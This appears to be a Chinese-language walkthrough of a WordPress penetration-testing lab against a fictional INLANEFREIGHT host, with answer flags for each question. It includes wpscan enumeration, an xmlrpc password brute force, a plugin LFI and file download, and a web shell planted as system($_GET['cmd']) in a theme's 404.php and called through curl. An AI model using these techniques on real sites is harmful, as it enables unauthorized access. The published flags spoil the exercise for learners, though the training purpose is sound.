You have been contracted to perform an external penetration test against the company INLANEFREIGHT that is hosting one of their main public-facing websites on WordPress.
Enumerate the target thoroughly using the skills learned in this module to find a variety of flags. Obtain shell access to the webserver to find the final flag.
準備作業
- 基本資訊
- 操作物件:Vmware Station(Kali-Linux)
- 目標實體物件:10.129.72.202
第一個問題
Identify the WordPress version number.
首先,我們需要知道目標機器運行的WordPress版本號,通常版本號的資訊都放在blog頁面,但我們如果直接點擊blog頁面是無法打開的(DNS決議存在錯誤),我們需要將blog頁面的域名加入到本地hosts檔案內,
sudo sh -c ‘echo “10.129.72.202 inlanefreight.local” >> /etc/hosts’

這時我們瀏覽器再次訪問blog頁面就可以正常顯示了,于是我們查看下blog頁面的源代碼,簡單搜索一下關鍵詞就能找到WordPress版本號,


答案:5.1.6
第二個問題
Identify the WordPress theme in use.
這個沒什么好說的,查看WordPress用的主題名稱,直接在源代碼簡單搜索就能找到,

答案:twentynineteen
第三個問題
Submit the contents of the flag file in the directory with directory listing enabled.
列舉一下當前頁面用的插件有哪些,可以看到有三個分別是:the-events-calendar,email-subscribers,site-editor,我們可以在瀏覽器里去挨個查看目錄檔案,但是因為可以查看到的檔案太多了,找flag跟大海撈針一樣,而且我把三個插件的檔案夾幾乎都翻了一遍也沒有找到flag檔案的影子,
curl -s -X GET http://blog.inlanefreight.local | sed 's/href=https://www.cnblogs.com/n/g' | sed 's/src=https://www.cnblogs.com/n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2


所以我后來使用了dirbuster工具(當然也可以使用其他模糊測驗的工具),別的也不想要就想找到flag,所以我把名稱字典框死在“flag”上,讓它跑得稍微快一點,
dirbuster


不久后我們就可以看到flag位于/wp-content/uploads/upload_flag.txt,在瀏覽器可以直接查看內容,


答案:HTB{d1sabl3_d1r3ct0ry_l1st1ng!}
第四個問題
Identify the only non-admin WordPress user.
一開始看到這個問題我想的是去?author=1不斷嘗試有哪些用戶,但我這樣只列舉出兩個用戶,一個是admin,另一個是erika,但這兩個用戶名稱都不符合問題的格式要求,



所以,我直接用WPSCAN進行掃描(如果沒有WPSCAN API TOKEN的話需要去WPSCAN官網注冊后申請),掃完就發現還有另外一個用戶,
wpscan --url http://blog.inlanefreight.local --enumerate --api-token XXX


答案:Charlie Wiggins
第五個問題
Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.
問題提示說利用插件漏洞實作無身份認證的檔案下載,我們查看下WPSCAN掃描結果的報告,然后打開相關鏈接詳細了解漏洞利用方式和作用,其中有一個能夠實作此目的,



我們按照鏈接提供的方式就能獲取到flag,

答案:HTB{unauTh_d0wn10ad!}
第六個問題
What is the version number of the plugin vulnerable to an LFI?
還是查看WPSCAN報告就能找到答案,

答案:1.1.1
第七個問題
Use the LFI to identify a system user whose name starts with the letter "f".
和上面第六個問題是連續的,打開LFI相關漏洞鏈接,鏈接內告訴我們利用的方式,


我們按照鏈接所給方法,可以看到系統用戶串列,其中只有一個是以字母“f”開頭的,

答案:frank.mclane
第八個問題
Obtain a shell on the system and submit the contents of the flag in the /home/erika directory.
想找到該flag,意味著我們至少要有erika用戶的權限,我們使用WPSCAN對erika用戶的密碼進行暴力破解(這里使用了rockyou.txt字典),
wpscan --password-attack xmlrpc -t 20 -U erika -P /home/yangchen/桌面/rockyou.txt --url http://blog.inlanefreight.local

很快,不到一分鐘我們就得到了erika用戶的密碼(erika/010203),這簡直不要太順利,然后我本想直接使用msfconsole在目標機器運行反向shell然后就成了,但是msfconsole不知道因為何種緣故自動滲透失敗了,所以我只好手動去后臺修改主題編輯器,

我們登錄到WordPress后臺管理系統,然后修改twentyseventeen主題下的404.php,增加一行cmd命令,
這里需要注意的是,WordPress 4.9版本之后有一個非常致命的BUG,導致修改PHP檔案不成功,社區上存在很多解決方法,相關鏈接1,相關鏈接2,相關鏈接3,無一例外的是都指向一條判斷陳述句if( $is_active && ‘php’ === $extension ),所以解決的思路也非常簡單,我們只需要修改當前非活躍的主題的PHP檔案,修改完成后再激活該主題即可,
system($_GET['cmd']);


修改頁面成功后我們查看下當前用戶id為www-data,
curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=id"

雖然id命令運行得非常正常,但是當我們換成其他命令后,目標機器回傳給我們不認識該指令,

出現該錯誤的原因是編碼格式問題,即需要將傳參轉化為URL編碼格式,于是我找了一個在線URL編碼解碼的網站,將需要的命令進行轉化然后拿到了flag,


答案:HTB{w0rdPr355_4SS3ssm3n7}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553315.html
標籤:其他
上一篇:大佬們 有沒有unity游戲開發的一些群呀,可以在底下評論一下嗎??
下一篇:返回列表
